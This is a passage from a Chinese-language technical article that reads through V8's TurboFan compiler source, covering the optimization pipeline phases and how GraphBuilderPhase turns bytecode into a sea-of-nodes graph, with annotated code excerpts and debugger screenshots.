继续初始化Linkage，linkage规定类似调用约定？接着调用核心函数如下<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>      **      if (!pipeline_.CreateGraph()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>      ** 顾名思义，在CreateGraph中创建sea of nodes，这个阶段会调用的一些phase有：<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>      *** GraphBuilderPhase // 创建图，具体实现的粗略走读见《introtuction to turbofan》<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>      *** InliningPhase     // Perform function context specialization and inlining (if           ***                      enabled).<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>      *** EarlyGraphTrimmingPhase // Remove dead-&gt;live edges from the graph.<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>      *** <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>      *** // Type the graph and keep the Typer running on newly created nodes within<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>          // this scope; the Typer is automatically unlinked from the Graph once we<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>          // leave this scope below.<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>      *** TyperPhase<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>      *** TypedLoweringPhase // Lower JSOperators where we can determine types.<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>      *** // Do some hacky things to prepare for the optimization phase.<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>             (caching handles, etc.).<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>      *** ConcurrentOptimizationPrepPhase <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>      ******************************************************************/</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (job-&gt;PrepareJob() != CompilationJob::SUCCEEDED) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">/******************************************************************<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>      * 这里mode是并发的，所以如下一行新起了一个优化线程<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>      * 调用栈：<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>      ** isolate-&gt;optimizing_compile_dispatcher()-&gt;QueueForOptimization(job);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>      ** V8::GetCurrentPlatform()-&gt;CallOnBackgroundThread(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>             new CompileTask(isolate_, this), v8::Platform::kShortRunningTask);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>      ** OptimizingCompileDispatcher::CompileTask-&gt;run()<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>      ** dispatcher_-&gt;CompileNext(dispatcher_-&gt;NextInput(true));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>      ** CompilationJob::Status status = job-&gt;ExecuteJob();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>      *<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span>      * 至此又看到了我们之前提及的ExecuteJob(),其中调用到的phase：<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>      **  LoopPeelingPhase、LoopExitEliminationPhase、LoadEliminationPhase、<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span>      **  EscapeAnalysisPhase、SimplifiedLoweringPhase、UntyperPhase、<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span>      **  GenericLoweringPhase、EarlyOptimizationPhase、EffectControlLinearizationPhase、<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>      **  DeadCodeEliminationPhase、StoreStoreEliminationPhase、<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span>      **  ControlFlowOptimizationPhase、MemoryOptimizationPhase、LateOptimizationPhase<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>      *  <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">51</span>      ******************************************************************/</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">52</span>      isolate-&gt;optimizing_compile_dispatcher()-&gt;QueueForOptimization(job);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">53</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">54</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// ....</span><br/></code></pre><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（2）GraphBuilderPhase</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如上的代码走读，找到了构造<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sea of nodes</code>的入口<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GraphBuilderPhase</code>，位于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">PipelineImpl::CreateGraph()</code>中第一个调用的phase，为TurboFan优化的入口phase，从其phase_name()和构造函数大概理解到其功能是将“上层”传入的bytecodes转换为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sea of nodes</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">IR</code>图</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src/compiler/pipeline.cc: 1138</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">struct</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">GraphBuilderPhase</span> {</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">static</span> <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">char</span>* <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">phase_name</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{ <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;bytecode graph builder&#34;</span>; }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">Run</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(PipelineData* data, Zone* temp_zone)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>    JSTypeHintLowering::Flags flags = JSTypeHintLowering::kNoFlags;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (data-&gt;info()-&gt;is_bailout_on_uninitialized()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>      flags |= JSTypeHintLowering::kBailoutOnUninitialized;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BytecodeGraphBuilder <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">graph_builder</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>        temp_zone, data-&gt;info()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">shared_info</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">handle</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(data-&gt;info()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">closure</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">feedback_vector</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>, data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">isolate</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>),<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>        data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">info</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">osr_offset</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>, data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">jsgraph</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">CallFrequency</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.0f</span>)</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>        data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">source_positions</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>, data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">native_context</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>        SourcePosition::kNotInlined, flags, <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">true</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>        data-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">info</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">is_analyze_environment_liveness</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>)</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>    graph_builder.CreateGraph();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>};<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">跟入graph_builder.CreateGraph()，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SetStart</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SetEnd</code>分别设置Graph中的成员变量<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">_start</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">_end</code>，即为sea of nodes中的start 和 end结点，这个在后续的phase中会用到。这里生成start和end结点的参数一个是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">common()-&gt;Start(actual_parameter_count)</code>（这个参数个数+4是哪几个内置参数我没去追代码了），另一个是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">common()-&gt;End(input_count), input_count, inputs</code>，其中，这里的input_count表示了其父节点的个数，inputs表示其父节点的结构体<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.21631644004944375" title="" data-type="png" data-w="1618" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=05976bf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcYCGD7gsgV9qmtV2SHNZO6IMpicYYyo9gCYibFnR7RsMyIdFqL56n2v2A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过调试我们看到其父节点的opcode为return，正如sea of nodes所示<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.4541284403669725" title="" data-type="png" data-w="218" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;width: 218px;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c4d8ace&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcWWE3rFV2UeJex8PjkvoHICLa44tEPVkBw9ffhRqvWsbdyYiar3Z56qg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">代码中间的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">VisitBytecodes()</code>会循环遍历bytecode指令，调用对应的指令node生成函数，生成对应的node</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\bytecode-graph-builder.cc: 577</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> BytecodeGraphBuilder::CreateGraph() {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  SourcePositionTable::<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Scope <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">pos_scope</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(source_positions_, start_position_)</span></span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Set up the basic structure of the graph. Outputs for {Start} are the formal</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// parameters (including the receiver) plus new target, number of arguments,</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// context and closure.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> actual_parameter_count = bytecode_array()-&gt;parameter_count() + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">4</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  graph()-&gt;SetStart(graph()-&gt;NewNode(common()-&gt;Start(actual_parameter_count)));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>  <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Environment <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">env</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">this</span>, bytecode_array()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">register_count</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>                  <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">bytecode_array</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">parameter_count</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>                  <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">bytecode_array</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">incoming_new_target_or_generator_register</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>                  <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">graph</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>-&gt;<span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">start</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span>)</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: 